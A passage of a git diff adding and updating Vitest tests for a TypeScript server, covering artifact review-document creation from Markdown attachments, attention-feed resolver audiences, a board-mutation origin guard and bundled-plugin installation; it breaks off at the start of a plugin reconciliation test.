+    companySkillService: () => ({}),
+    companyService: () => mockCompanyService,
+    documentAnnotationService: () => ({ remapOpenThreadsForDocument: async () => [] }),
+    documentService: () => ({}),
+    executionWorkspaceService: () => ({}),
+    feedbackService: () => ({
+      listIssueVotesForUser: vi.fn(async () => []),
+      saveIssueVote: vi.fn(async () => ({ vote: null, consentEnabledNow: false, sharingEnabled: false })),
+    }),
+    goalService: () => ({}),
+    heartbeatService: () => ({
+      wakeup: vi.fn(async () => undefined),
+      reportRunActivity: vi.fn(async () => undefined),
+      getRun: vi.fn(async () => null),
+      getActiveRunForAgent: vi.fn(async () => null),
+      cancelRun: vi.fn(async () => null),
+    }),
+    instanceSettingsService: () => ({
+      get: vi.fn(async () => ({
+        id: "instance-settings-1",
+        general: {
+          censorUsernameInLogs: false,
+          feedbackDataSharingPreference: "prompt",
+        },
+      })),
+      listCompanyIds: vi.fn(async () => ["company-1"]),
+    }),
+    issueApprovalService: () => ({}),
+    issueReferenceService: () => ({
+      deleteDocumentSource: async () => undefined,
+      diffIssueReferenceSummary: () => ({
+        addedReferencedIssues: [],
+        removedReferencedIssues: [],
+        currentReferencedIssues: [],
+      }),
+      emptySummary: () => ({ outbound: [], inbound: [] }),
+      listIssueReferenceSummary: async () => ({ outbound: [], inbound: [] }),
+      syncComment: async () => undefined,
+      syncDocument: async () => undefined,
+      syncIssue: async () => undefined,
+    }),
+    issueThreadInteractionService: () => ({
+      listForIssue: vi.fn(async () => []),
+      expireRequestConfirmationsSupersededByComment: vi.fn(async () => []),
+      expireStaleRequestConfirmationsForIssueDocument: vi.fn(async () => []),
+    }),
+    issueRecoveryActionService: () => ({
+      getActiveForIssue: vi.fn(async () => null),
+      listActiveForIssues: vi.fn(async () => new Map()),
+    }),
+    issueService: () => mockIssueService,
+    logActivity: mockLogActivity,
+    projectService: () => ({}),
+    routineService: () => ({
+      syncRunStatusForIssue: vi.fn(async () => undefined),
+    }),
+    workProductService: () => mockWorkProductService,
+  }));
+}
+
+function createStorageService(): StorageService {
+  return {
+    provider: "local_disk",
+    putFile: vi.fn(),
+    getObject: vi.fn(),
+    headObject: vi.fn(),
+    deleteObject: vi.fn(),
+  } as unknown as StorageService;
+}
+
+async function createApp(options?: { companyIds?: string[] }) {
+  const [{ errorHandler }, { issueRoutes }] = await Promise.all([
+    vi.importActual<typeof import("../middleware/index.js")>("../middleware/index.js"),
+    vi.importActual<typeof import("../routes/issues.js")>("../routes/issues.js"),
+  ]);
+  const app = express();
+  app.use(express.json());
+  app.use((req, _res, next) => {
+    (req as any).actor = {
+      type: "board",
+      userId: "local-board",
+      companyIds: options?.companyIds ?? ["company-1"],
+      source: "local_implicit",
+      isInstanceAdmin: false,
+    };
+    next();
+  });
+  app.use("/api", issueRoutes({} as any, createStorageService()));
+  app.use(errorHandler);
+  return app;
+}
+
+function makeIssue() {
+  return {
+    id: ISSUE_ID,
+    companyId: "company-1",
+    identifier: "PAP-1",
+    projectId: null,
+    status: "in_progress",
+    assigneeAgentId: null,
+  };
+}
+
+function makeWorkProduct(overrides: Record<string, unknown> = {}) {
+  const attachmentId = "55555555-5555-4555-8555-555555555555";
+  const contentPath = `/api/attachments/${attachmentId}/content`;
+  return {
+    id: WORK_PRODUCT_ID,
+    companyId: "company-1",
+    issueId: ISSUE_ID,
+    type: "artifact",
+    provider: "paperclip",
+    title: "Verification report",
+    metadata: {
+      attachmentId,
+      contentType: "text/markdown",
+      byteSize: 128,
+      contentPath,
+      openPath: contentPath,
+      downloadPath: `${contentPath}?download=1`,
+      originalFilename: "verification-report.md",
+    },
+    createdByRunId: null,
+    sourceTrust: null,
+    ...overrides,
+  };
+}
+
+function makeDocument(overrides: Record<string, unknown> = {}) {
+  return {
+    id: "33333333-3333-4333-8333-333333333333",
+    companyId: "company-1",
+    issueId: ISSUE_ID,
+    key: `artifact-review-${WORK_PRODUCT_ID}`,
+    title: "Verification report",
+    format: "markdown",
+    body: "# Report",
+    latestRevisionId: "44444444-4444-4444-8444-444444444444",
+    latestRevisionNumber: 1,
+    ...overrides,
+  };
+}
+
+describe("work product review-document route", () => {
+  beforeEach(() => {
+    vi.resetModules();
+    vi.clearAllMocks();
+    registerRouteMocks();
+    mockIssueService.getById.mockResolvedValue(makeIssue());
+    mockWorkProductService.getById.mockResolvedValue(makeWorkProduct());
+  });
+
+  it("returns 404 when the work product belongs to another issue", async () => {
+    mockWorkProductService.getById.mockResolvedValue(
+      makeWorkProduct({ issueId: "55555555-5555-4555-8555-555555555555" }),
+    );
+
+    const app = await createApp();
+    const res = await request(app).post(
+      `/api/issues/${ISSUE_ID}/work-products/${WORK_PRODUCT_ID}/review-document`,
+    );
+
+    expect(res.status).toBe(404);
+    expect(mockEnsureForWorkProduct).not.toHaveBeenCalled();
+  });
+
+  it("returns 404 when the work product does not exist", async () => {
+    mockWorkProductService.getById.mockResolvedValue(null);
+
+    const app = await createApp();
+    const res = await request(app).post(
+      `/api/issues/${ISSUE_ID}/work-products/${WORK_PRODUCT_ID}/review-document`,
+    );
+
+    expect(res.status).toBe(404);
+    expect(mockEnsureForWorkProduct).not.toHaveBeenCalled();
+  });
+
+  it("materializes the review document and logs document creation", async () => {
+    mockEnsureForWorkProduct.mockResolvedValue({
+      document: makeDocument(),
+      created: true,
+      revisionChanged: true,
+      remappedAnnotations: [],
+    });
+
+    const app = await createApp();
+    const res = await request(app).post(
+      `/api/issues/${ISSUE_ID}/work-products/${WORK_PRODUCT_ID}/review-document`,
+    );
+
+    expect(res.status).toBe(201);
+    expect(res.body.key).toBe(`artifact-review-${WORK_PRODUCT_ID}`);
+    expect(mockEnsureForWorkProduct).toHaveBeenCalledWith({
+      issue: { id: ISSUE_ID, companyId: "company-1" },
+      workProduct: expect.objectContaining({ id: WORK_PRODUCT_ID }),
+    });
+    expect(mockLogActivity).toHaveBeenCalledWith(
+      expect.anything(),
+      expect.objectContaining({
+        action: "issue.document_created",
+        details: expect.objectContaining({
+          workProductId: WORK_PRODUCT_ID,
+          artifactReviewDocument: true,
+        }),
+      }),
+    );
+    expect(mockSyncDocumentSafely).toHaveBeenCalledWith(makeDocument().id);
+  });
+
+  it("returns 200 without side effects when the document is already current", async () => {
+    mockEnsureForWorkProduct.mockResolvedValue({
+      document: makeDocument(),
+      created: false,
+      revisionChanged: false,
+      remappedAnnotations: [],
+    });
+
+    const app = await createApp();
+    const res = await request(app).post(
+      `/api/issues/${ISSUE_ID}/work-products/${WORK_PRODUCT_ID}/review-document`,
+    );
+
+    expect(res.status).toBe(200);
+    expect(res.body.id).toBe(makeDocument().id);
+    expect(mockLogActivity).not.toHaveBeenCalled();
+    expect(mockSyncDocumentSafely).not.toHaveBeenCalled();
+  });
+
+  it("passes typed materialization errors through to the response", async () => {
+    const { HttpError } = await vi.importActual<typeof import("../errors.js")>("../errors.js");
+    mockEnsureForWorkProduct.mockRejectedValue(
+      new HttpError(415, "Work product attachment is not Markdown"),
+    );
+
+    const app = await createApp();
+    const res = await request(app).post(
+      `/api/issues/${ISSUE_ID}/work-products/${WORK_PRODUCT_ID}/review-document`,
+    );
+
+    expect(res.status).toBe(415);
+    expect(res.body.error).toBe("Work product attachment is not Markdown");
+  });
+
+  it("resynchronizes an eligible review document after a title-only work product update", async () => {
+    const renamed = makeWorkProduct({ title: "Renamed verification report" });
+    mockWorkProductService.update.mockResolvedValue(renamed);
+    mockEnsureForWorkProduct.mockResolvedValue({
+      document: makeDocument({ title: "Renamed verification report", latestRevisionNumber: 2 }),
+      created: false,
+      revisionChanged: true,
+      remappedAnnotations: [],
+    });
+
+    const app = await createApp();
+    const res = await request(app)
+      .patch(`/api/work-products/${WORK_PRODUCT_ID}`)
+      .send({ title: "Renamed verification report" });
+
+    expect(res.status).toBe(200);
+    expect(mockEnsureForWorkProduct).toHaveBeenCalledWith({
+      issue: { id: ISSUE_ID, companyId: "company-1" },
+      workProduct: renamed,
+    });
+  });
+});
diff --git a/server/src/__tests__/artifact-review-documents-service.test.ts b/server/src/__tests__/artifact-review-documents-service.test.ts
new file mode 100644
index 00000000000..01dc766af4a
--- /dev/null
+++ b/server/src/__tests__/artifact-review-documents-service.test.ts
@@ -0,0 +1,403 @@
+import { randomUUID } from "node:crypto";
+import { Readable } from "node:stream";
+import { afterAll, afterEach, beforeAll, describe, expect, it, vi } from "vitest";
+import {
+  agents,
+  assets,
+  companies,
+  createDb,
+  documentRevisions,
+  documents,
+  heartbeatRuns,
+  issueAttachments,
+  issueDocuments,
+  issues,
+} from "@paperclipai/db";
+import { artifactReviewDocumentKey } from "@paperclipai/shared";
+import {
+  getEmbeddedPostgresTestSupport,
+  startEmbeddedPostgresTestDatabase,
+} from "./helpers/embedded-postgres.js";
+import { artifactReviewDocumentService } from "../services/artifact-review-documents.js";
+import { documentService } from "../services/documents.js";
+import { HttpError } from "../errors.js";
+import type { StorageService } from "../storage/types.js";
+
+const embeddedPostgresSupport = await getEmbeddedPostgresTestSupport();
+const describeEmbeddedPostgres = embeddedPostgresSupport.supported ? describe : describe.skip;
+
+if (!embeddedPostgresSupport.supported) {
+  console.warn(
+    `Skipping embedded Postgres artifact review document tests on this host: ${embeddedPostgresSupport.reason ?? "unsupported environment"}`,
+  );
+}
+
+function createStorageService(files: Record<string, Buffer> = {}): StorageService {
+  return {
+    provider: "local_disk",
+    putFile: vi.fn(),
+    getObject: vi.fn(async (_companyId, objectKey, options) => {
+      const body = files[objectKey] ?? Buffer.alloc(0);
+      const range = options?.range;
+      const ranged = range ? body.subarray(range.start, range.end + 1) : body;
+      return {
+        stream: Readable.from(ranged),
+        contentType: "text/markdown",
+        contentLength: ranged.length,
+      };
+    }),
+    headObject: vi.fn(),
+    deleteObject: vi.fn(),
+  };
+}
+
+describeEmbeddedPostgres("artifactReviewDocumentService", () => {
+  let tempDb: Awaited<ReturnType<typeof startEmbeddedPostgresTestDatabase>> | null = null;
+  let db!: ReturnType<typeof createDb>;
+
+  beforeAll(async () => {
+    tempDb = await startEmbeddedPostgresTestDatabase("paperclip-artifact-review-docs-");
+    db = createDb(tempDb.connectionString);
+  }, 20_000);
+
+  afterEach(async () => {
+    await db.delete(documentRevisions);
+    await db.delete(issueDocuments);
+    await db.delete(documents);
+    await db.delete(issueAttachments);
+    await db.delete(assets);
+    await db.delete(issues);
+    await db.delete(heartbeatRuns);
+    await db.delete(agents);
+    await db.delete(companies);
+  });
+
+  afterAll(async () => {
+    await tempDb?.cleanup();
+  });
+
+  async function seedFixture(options: {
+    body?: Buffer;
+    contentType?: string;
+    originalFilename?: string | null;
+    byteSize?: number;
+  } = {}) {
+    const companyId = randomUUID();
+    const issueId = randomUUID();
+    const agentId = randomUUID();
+    const assetId = randomUUID();
+    const attachmentId = randomUUID();
+    const workProductId = randomUUID();
+    const body = options.body ?? Buffer.from("# Report\n\nHello **markdown**.\n", "utf8");
+    const contentType = options.contentType ?? "text/markdown";
+    const originalFilename = options.originalFilename === undefined ? "report.md" : options.originalFilename;
+    const objectKey = `issues/${issueId}/${assetId}`;
+
+    await db.insert(companies).values({
+      id: companyId,
+      name: "Paperclip",
+      issuePrefix: `T${companyId.replace(/-/g, "").slice(0, 6).toUpperCase()}`,
+      requireBoardApprovalForNewAgents: false,
+    });
+    await db.insert(issues).values({
+      id: issueId,
+      companyId,
+      identifier: "PAP-1534",
+      title: "Bridge markdown work products",
+      description: null,
+      status: "in_progress",
+      priority: "medium",
+    });
+    await db.insert(agents).values({
+      id: agentId,
+      companyId,
+      name: "ReportWriter",
+      role: "engineer",
+      status: "idle",
+      adapterType: "codex_local",
+      adapterConfig: {},
+      runtimeConfig: {},
+      permissions: {},
+    });
+    await db.insert(assets).values({
+      id: assetId,
+      companyId,
+      provider: "local_disk",
+      objectKey,
+      contentType,
+      byteSize: options.byteSize ?? body.length,
+      sha256: `sha256-${assetId}`,
+      originalFilename,
+      createdByAgentId: agentId,
+    });
+    await db.insert(issueAttachments).values({
+      id: attachmentId,
+      companyId,
+      issueId,
+      assetId,
+    });
+
+    const contentPath = `/api/attachments/${attachmentId}/content`;
+    const workProduct = {
+      id: workProductId,
+      companyId,
+      issueId,
+      type: "artifact" as const,
+      provider: "paperclip",
+      metadata: {
+        attachmentId,
+        contentType,
+        byteSize: options.byteSize ?? body.length,
+        contentPath,
+        openPath: contentPath,
+        downloadPath: `${contentPath}?download=1`,
+        originalFilename,
+      },
+      title: "Verification report",
+      createdByRunId: null,
+      sourceTrust: null,
+    };
+
+    const files: Record<string, Buffer> = { [objectKey]: body };
+    const storage = createStorageService(files);
+    const svc = artifactReviewDocumentService(db, storage);
+    return { companyId, issueId, agentId, assetId, attachmentId, workProduct, files, objectKey, svc };
+  }
+
+  it("materializes a review document with promoted attribution", async () => {
+    const fixture = await seedFixture();
+    const result = await fixture.svc.ensureForWorkProduct({
+      issue: { id: fixture.issueId, companyId: fixture.companyId },
+      workProduct: fixture.workProduct,
+    });
+
+    expect(result.created).toBe(true);
+    expect(result.revisionChanged).toBe(true);
+    expect(result.document.key).toBe(artifactReviewDocumentKey(fixture.workProduct.id));
+    expect(result.document.title).toBe("Verification report");
+    expect(result.document.latestRevisionNumber).toBe(1);
+    expect(result.document.latestRevisionId).toBeTruthy();
+    expect(result.document.body).toBe("# Report\n\nHello **markdown**.\n");
+    expect(result.document.createdByAgentId).toBe(fixture.agentId);
+    expect(result.document.createdByUserId).toBeNull();
+
+    const listed = await documentService(db).getIssueDocumentByKey(
+      fixture.issueId,
+      artifactReviewDocumentKey(fixture.workProduct.id),
+    );
+    expect(listed?.id).toBe(result.document.id);
+  });
+
+  it("is idempotent for unchanged content", async () => {
+    const fixture = await seedFixture();
+    const first = await fixture.svc.ensureForWorkProduct({
+      issue: { id: fixture.issueId, companyId: fixture.companyId },
+      workProduct: fixture.workProduct,
+    });
+    const second = await fixture.svc.ensureForWorkProduct({
+      issue: { id: fixture.issueId, companyId: fixture.companyId },
+      workProduct: fixture.workProduct,
+    });
+
+    expect(second.created).toBe(false);
+    expect(second.revisionChanged).toBe(false);
+    expect(second.document.id).toBe(first.document.id);
+    expect(second.document.latestRevisionNumber).toBe(1);
+
+    const revisions = await db.select().from(documentRevisions);
+    expect(revisions).toHaveLength(1);
+  });
+
+  it("converges concurrent ensures onto one document", async () => {
+    const fixture = await seedFixture();
+    const input = {
+      issue: { id: fixture.issueId, companyId: fixture.companyId },
+      workProduct: fixture.workProduct,
+    };
+    const [first, second] = await Promise.all([
+      fixture.svc.ensureForWorkProduct(input),
+      fixture.svc.ensureForWorkProduct(input),
+    ]);
+
+    expect(first.document.id).toBe(second.document.id);
+    const links = await db.select().from(issueDocuments);
+    expect(links).toHaveLength(1);
+    const revisions = await db.select().from(documentRevisions);
+    expect(revisions).toHaveLength(1);
+  });
+
+  it("writes a new revision when the attachment content changes", async () => {
+    const fixture = await seedFixture();
+    const first = await fixture.svc.ensureForWorkProduct({
+      issue: { id: fixture.issueId, companyId: fixture.companyId },
+      workProduct: fixture.workProduct,
+    });
+
+    fixture.files[fixture.objectKey] = Buffer.from("# Report v2\n", "utf8");
+    const second = await fixture.svc.ensureForWorkProduct({
+      issue: { id: fixture.issueId, companyId: fixture.companyId },
+      workProduct: fixture.workProduct,
+    });
+
+    expect(second.created).toBe(false);
+    expect(second.revisionChanged).toBe(true);
+    expect(second.document.id).toBe(first.document.id);
+    expect(second.document.latestRevisionNumber).toBe(2);
+    expect(second.document.body).toBe("# Report v2\n");
+    expect(Array.isArray(second.remappedAnnotations)).toBe(true);
+  });
+
+  it("synchronizes title and run provenance when the attachment body is unchanged", async () => {
+    const fixture = await seedFixture();
+    const first = await fixture.svc.ensureForWorkProduct({
+      issue: { id: fixture.issueId, companyId: fixture.companyId },
+      workProduct: fixture.workProduct,
+    });
+
+    const renamed = await fixture.svc.ensureForWorkProduct({
+      issue: { id: fixture.issueId, companyId: fixture.companyId },
+      workProduct: { ...fixture.workProduct, title: "Renamed verification report" },
+    });
+    expect(renamed.created).toBe(false);
+    expect(renamed.revisionChanged).toBe(true);
+    expect(renamed.document.id).toBe(first.document.id);
+    expect(renamed.document.title).toBe("Renamed verification report");
+    expect(renamed.document.latestRevisionNumber).toBe(2);
+
+    const runId = randomUUID();
+    await db.insert(heartbeatRuns).values({
+      id: runId,
+      companyId: fixture.companyId,
+      agentId: fixture.agentId,
+      status: "succeeded",
+    });
+    const reattributed = await fixture.svc.ensureForWorkProduct({
+      issue: { id: fixture.issueId, companyId: fixture.companyId },
+      workProduct: {
+        ...fixture.workProduct,
+        title: "Renamed verification report",
+        createdByRunId: runId,
+      },
+    });
+    expect(reattributed.revisionChanged).toBe(true);
+    expect(reattributed.document.latestRevisionNumber).toBe(3);
+
+    const latestRevision = await db
+      .select()
+      .from(documentRevisions)
+      .then((rows) => rows.find((row) => row.id === reattributed.document.latestRevisionId));
+    expect(latestRevision?.createdByRunId).toBe(runId);
+
+    const unchanged = await fixture.svc.ensureForWorkProduct({
+      issue: { id: fixture.issueId, companyId: fixture.companyId },
+      workProduct: {
+        ...fixture.workProduct,
+        title: "Renamed verification report",
+        createdByRunId: runId,
+      },
+    });
+    expect(unchanged.revisionChanged).toBe(false);
+    expect(unchanged.document.latestRevisionNumber).toBe(3);
+  });
+
+  it("rejects work products that are not attachment-backed Paperclip artifacts", async () => {
+    const fixture = await seedFixture();
+    await expect(
+      fixture.svc.ensureForWorkProduct({
+        issue: { id: fixture.issueId, companyId: fixture.companyId },
+        workProduct: { ...fixture.workProduct, provider: "github" },
+      }),
+    ).rejects.toMatchObject({ status: 422 });
+    await expect(
+      fixture.svc.ensureForWorkProduct({
+        issue: { id: fixture.issueId, companyId: fixture.companyId },
+        workProduct: { ...fixture.workProduct, metadata: { attachmentId: "not-a-uuid" } },
+      }),
+    ).rejects.toMatchObject({ status: 422 });
+  });
+
+  it("rejects non-Markdown attachments with 415", async () => {
+    const fixture = await seedFixture({ contentType: "application/pdf", originalFilename: "report.pdf" });
+    await expect(
+      fixture.svc.ensureForWorkProduct({
+        issue: { id: fixture.issueId, companyId: fixture.companyId },
+        workProduct: fixture.workProduct,
+      }),
+    ).rejects.toMatchObject({ status: 415 });
+  });
+
+  it("rejects mismatched issues and cross-issue attachments", async () => {
+    const fixture = await seedFixture();
+    await expect(
+      fixture.svc.ensureForWorkProduct({
+        issue: { id: randomUUID(), companyId: fixture.companyId },
+        workProduct: fixture.workProduct,
+      }),
+    ).rejects.toMatchObject({ status: 404 });
+
+    const otherIssueId = randomUUID();
+    await db.insert(issues).values({
+      id: otherIssueId,
+      companyId: fixture.companyId,
+      identifier: "PAP-1535",
+      title: "Other issue",
+      description: null,
+      status: "todo",
+      priority: "medium",
+    });
+    await expect(
+      fixture.svc.ensureForWorkProduct({
+        issue: { id: otherIssueId, companyId: fixture.companyId },
+        workProduct: { ...fixture.workProduct, issueId: otherIssueId },
+      }),
+    ).rejects.toMatchObject({ status: 422 });
+  });
+
+  it("rejects oversized attachments with 413", async () => {
+    const fixture = await seedFixture({ byteSize: 512 * 1024 + 1 });
+    await expect(
+      fixture.svc.ensureForWorkProduct({
+        issue: { id: fixture.issueId, companyId: fixture.companyId },
+        workProduct: fixture.workProduct,
+      }),
+    ).rejects.toMatchObject({ status: 413 });
+  });
+
+  it("rejects invalid UTF-8 content with 422", async () => {
+    const fixture = await seedFixture({ body: Buffer.from([0x23, 0x20, 0xff, 0xfe, 0x00]) });
+    await expect(
+      fixture.svc.ensureForWorkProduct({
+        issue: { id: fixture.issueId, companyId: fixture.companyId },
+        workProduct: fixture.workProduct,
+      }),
+    ).rejects.toMatchObject({ status: 422 });
+  });
+
+  it("surfaces a conflict when the review document is locked and content changed", async () => {
+    const fixture = await seedFixture();
+    await fixture.svc.ensureForWorkProduct({
+      issue: { id: fixture.issueId, companyId: fixture.companyId },
+      workProduct: fixture.workProduct,
+    });
+    await documentService(db).lockIssueDocument({
+      issueId: fixture.issueId,
+      key: artifactReviewDocumentKey(fixture.workProduct.id),
+      lockedByUserId: "user-board",
+    });
+
+    // Unchanged content still resolves without a write.
+    const unchanged = await fixture.svc.ensureForWorkProduct({
+      issue: { id: fixture.issueId, companyId: fixture.companyId },
+      workProduct: fixture.workProduct,
+    });
+    expect(unchanged.revisionChanged).toBe(false);
+
+    fixture.files[fixture.objectKey] = Buffer.from("# Locked update\n", "utf8");
+    await expect(
+      fixture.svc.ensureForWorkProduct({
+        issue: { id: fixture.issueId, companyId: fixture.companyId },
+        workProduct: fixture.workProduct,
+      }),
+    ).rejects.toSatisfy((error: unknown) => error instanceof HttpError && error.status === 409);
+  });
+});
diff --git a/server/src/__tests__/attention-service.test.ts b/server/src/__tests__/attention-service.test.ts
index b2cd6bc6497..e4d2f3bf648 100644
--- a/server/src/__tests__/attention-service.test.ts
+++ b/server/src/__tests__/attention-service.test.ts
@@ -172,6 +172,7 @@ describeEmbeddedPostgres("attention service", () => {
     unblockDescriptor?: { owner: { userId: string } | "board"; action: string } | null;
     blockedTransitionAt?: Date | null;
     harnessKind?: string | null;
+    reviewPolicy?: "anyone" | "not_creator" | "human_only" | null;
   }) {
     const id = input.id ?? randomUUID();
     await db.insert(issues).values({
@@ -181,6 +182,7 @@ describeEmbeddedPostgres("attention service", () => {
       title: input.title,
       status: input.status,
       priority: input.priority ?? "medium",
+      reviewPolicy: input.reviewPolicy ?? null,
       parentId: input.parentId ?? null,
       projectId: input.projectId ?? null,
       projectWorkspaceId: input.projectWorkspaceId ?? null,
@@ -314,6 +316,9 @@ describeEmbeddedPostgres("attention service", () => {
       title: "Stalled review blocker",
       status: "in_review",
       assigneeAgentId: reviewerId,
+      // PAP-16506: the /decisions review card states who may give the verdict,
+      // so the subject has to carry the issue's opt-in constraint.
+      reviewPolicy: "human_only",
       updatedAt: new Date("2026-07-09T12:05:00.000Z"),
     });
     await db.insert(issueRelations).values({
@@ -673,7 +678,10 @@ describeEmbeddedPostgres("attention service", () => {
       // A stalled review resolves in-row on the /decisions card (PAP-16080 §4.4).
       inlineResolvable: true,
       subject: expect.objectContaining({
-        metadata: expect.objectContaining({ reviewAttentionState: "stalled" }),
+        metadata: expect.objectContaining({
+          reviewAttentionState: "stalled",
+          reviewPolicy: "human_only",
+        }),
       }),
       decisionVerbs: expect.arrayContaining([
         expect.objectContaining({ id: "choose_review_path", label: "Choose review path" }),
@@ -790,6 +798,101 @@ describeEmbeddedPostgres("attention service", () => {
     expect(interactionTitles).not.toContain("Active reviewer question");
   });
 
+  // PAP-17287: a collapsed queue row offers Accept/Reject before anything fetches
+  // the interaction, so the audience the resolution routes will enforce has to
+  // ship with the feed item.
+  it("ships the effective resolver audience with each interaction row", async () => {
+    const { companyId, workerId, reviewerId } = await seedCompany("ARA");
+    const issueId = await insertIssue({
+      companyId,
+      identifier: "ARA-1",
+      title: "Needs a decision",
+      status: "in_progress",
+    });
+    await db.insert(issueThreadInteractions).values([
+      {
+        id: randomUUID(),
+        companyId,
+        issueId,
+        kind: "ask_user_questions",
+        status: "pending",
+        title: "Open question",
+        createdByAgentId: workerId,
+        payload: { version: 1, questions: [] },
+      },
+      {
+        id: randomUUID(),
+        companyId,
+        issueId,
+        kind: "ask_user_questions",
+        status: "pending",
+        title: "Creator-excluded question",
+        createdByAgentId: workerId,
+        requestedResolverPolicy: "not_creator",
+        effectiveResolverPolicy: "not_creator",
+        resolverPolicyProvenance: "explicit",
+        payload: { version: 1, questions: [] },
+      },
+      {
+        id: randomUUID(),
+        companyId,
+        issueId,
+        kind: "ask_user_questions",
+        status: "pending",
+        title: "Capped question",
+        createdByAgentId: workerId,
+        requestedResolverPolicy: "anyone",
+        effectiveResolverPolicy: "human_only",
+        effectiveResolverPolicySource: "company_cap",
+        payload: { version: 1, questions: [] },
+      },
+    ]);
+    // An addressed card only reaches board attention once its addressee cannot
+    // act, which is exactly when naming the addressee matters most.
+    await db.insert(issueThreadInteractions).values({
+      id: randomUUID(),
+      companyId,
+      issueId,
+      kind: "ask_user_questions",
+      status: "pending",
+      title: "Addressed question",
+      createdByAgentId: workerId,
+      addresseeAgentId: reviewerId,
+      payload: { version: 1, questions: [] },
+    });
+    await agentService(db).pause(reviewerId);
+
+    const feed = await attentionService(db).list(companyId, { userId: "board-user" });
+    const audienceByTitle = new Map(feed.items
+      .filter((item) => item.sourceKind === "issue_thread_interaction")
+      .map((item) => [item.subject.title, item.resolverAudience]));
+
+    expect(audienceByTitle.get("Open question")).toMatchObject({
+      requestedResolverPolicy: "anyone",
+      effectiveResolverPolicy: "anyone",
+      effectiveResolverPolicySource: "requested",
+      addresseeAgentId: null,
+      addresseeName: null,
+    });
+    expect(audienceByTitle.get("Creator-excluded question")).toMatchObject({
+      effectiveResolverPolicy: "not_creator",
+      createdByAgentId: workerId,
+      createdByAgentName: "Worker",
+    });
+    expect(audienceByTitle.get("Capped question")).toMatchObject({
+      requestedResolverPolicy: "anyone",
+      effectiveResolverPolicy: "human_only",
+      effectiveResolverPolicySource: "company_cap",
+    });
+    expect(audienceByTitle.get("Addressed question")).toMatchObject({
+      addresseeAgentId: reviewerId,
+      addresseeName: "Reviewer",
+    });
+    // Non-interaction rows carry no resolver policy at all.
+    expect(feed.items.find((item) => item.sourceKind !== "issue_thread_interaction")?.resolverAudience)
+      .toBeNull();
+  });
+
   it("suppresses failed-run attention after a newer run for the same issue", async () => {
     const { companyId, workerId } = await seedCompany("ATN");
     const issueId = await insertIssue({
diff --git a/server/src/__tests__/board-mutation-guard.test.ts b/server/src/__tests__/board-mutation-guard.test.ts
index eb3721ab1e6..c09596def27 100644
--- a/server/src/__tests__/board-mutation-guard.test.ts
+++ b/server/src/__tests__/board-mutation-guard.test.ts
@@ -90,13 +90,14 @@ describe("boardMutationGuard", () => {
     expect([200, 204]).toContain(res.status);
   });
 
-  it("allows board mutations when x-forwarded-host matches origin", async () => {
+  it("allows HTTPS branch-runtime mutations when forwarded MagicDNS host and non-standard port match", async () => {
     const app = createApp("board");
     const res = await request(app)
       .post("/mutate")
       .set("Host", "127.0.0.1")
-      .set("X-Forwarded-Host", "10.90.10.20:3443")
-      .set("Origin", "https://10.90.10.20:3443")
+      .set("X-Forwarded-Host", "branch-runner.tail123.ts.net:42000")
+      .set("X-Forwarded-Proto", "https")
+      .set("Origin", "https://branch-runner.tail123.ts.net:42000")
       .send({ ok: true });
     expect([200, 204]).toContain(res.status);
   });
diff --git a/server/src/__tests__/bundled-plugins.test.ts b/server/src/__tests__/bundled-plugins.test.ts
index e137634c9c0..1d52059aaa8 100644
--- a/server/src/__tests__/bundled-plugins.test.ts
+++ b/server/src/__tests__/bundled-plugins.test.ts
@@ -196,32 +196,72 @@ describe("resolveBundledCatalogRoot", () => {
 // ensureBundledPlugins (fail-safe installer)
 // ---------------------------------------------------------------------------
 
+type LooseRow = {
+  id: string;
+  pluginKey: string;
+  status: string;
+  version?: string;
+  manifestJson?: Record<string, unknown>;
+};
+
+// Build a minimal manifest for a persisted row or a shipped bundle. The reconcile
+// step compares the bundle version with the persisted version.
+function makeManifest(pluginKey: string, version: string) {
+  return { id: pluginKey, apiVersion: 1, version } as unknown as import("@paperclipai/shared").PaperclipPluginManifestV1;
+}
+
 function makeDeps(overrides?: {
-  rows?: Record<string, { id: string; pluginKey: string; status: string } | null>;
+  rows?: Record<string, LooseRow | null>;
   bundleManifestExists?: (localPath: string) => boolean;
   installError?: Error;
+  /** Version the shipped bundle manifest reports, keyed by pluginKey. */
+  bundleVersionByKey?: Record<string, string>;
 }) {
   const rows = overrides?.rows ?? {};
-  const installedRows = new Map(Object.entries(rows));
+  const normalize = (row: LooseRow | null): (LooseRow & { version: string; manifestJson: Record<string, unknown> }) | null => {
+    if (!row) return null;
+    const version = row.version ?? "0.1.0";
+    return {
+      ...row,
+      version,
+      manifestJson: row.manifestJson ?? { id: row.pluginKey, apiVersion: 1, version },
+    };
+  };
+  const installedRows = new Map(
+    Object.entries(rows).map(([key, row]) => [key, normalize(row)] as const),
+  );
   const installPlugin = vi.fn(async ({ localPath }: { localPath: string }) => {
     if (overrides?.installError) throw overrides.installError;
     const entry = BUNDLED_PLUGIN_CATALOG.find((candidate) =>
       localPath.endsWith(candidate.relativePath),
     );
     const pluginKey = entry?.pluginKey ?? "unknown";
-    installedRows.set(pluginKey, { id: `id-${pluginKey}`, pluginKey, status: "installed" });
+    installedRows.set(pluginKey, normalize({ id: `id-${pluginKey}`, pluginKey, status: "installed" }));
     return { manifest: { id: pluginKey } };
   });
+  const update = vi.fn(async () => undefined);
+  const loadManifest = vi.fn(async (localPath: string) => {
+    const entry = BUNDLED_PLUGIN_CATALOG.find((candidate) =>
+      localPath.endsWith(candidate.relativePath),
+    );
+    const pluginKey = entry?.pluginKey ?? "unknown";
+    const persisted = installedRows.get(pluginKey);
+    // Default: the bundle version matches the persisted version, so no
+    // reconcile fires unless a test overrides `bundleVersionByKey`.
+    const version = overrides?.bundleVersionByKey?.[pluginKey] ?? persisted?.version ?? "0.1.0";
+    return makeManifest(pluginKey, version);
+  });
   const deps: BundledPluginProvisionerDeps = {
     registry: {
       getByKey: vi.fn(async (pluginKey: string) => installedRows.get(pluginKey) ?? null),
-    },
-    loader: { installPlugin } as unknown as BundledPluginProvisionerDeps["loader"],
+      update,
+    } as unknown as BundledPluginProvisionerDeps["registry"],
+    loader: { installPlugin, loadManifest } as unknown as BundledPluginProvisionerDeps["loader"],
     lifecycle: { load: vi.fn(async () => undefined) },
     logger: { info: vi.fn(), error: vi.fn() },
     bundleManifestExists: overrides?.bundleManifestExists ?? (() => true),
   };
-  return { deps, installPlugin };
+  return { deps, installPlugin, update, loadManifest };
 }
 
 const K8S: ResolvedBundledPlugin = {
@@ -258,6 +298,64 @@ describe("ensureBundledPlugins", () => {
     }
   });
 
+  it("reconciles the persisted manifest of a present plugin when the bundle version changed", async () => {
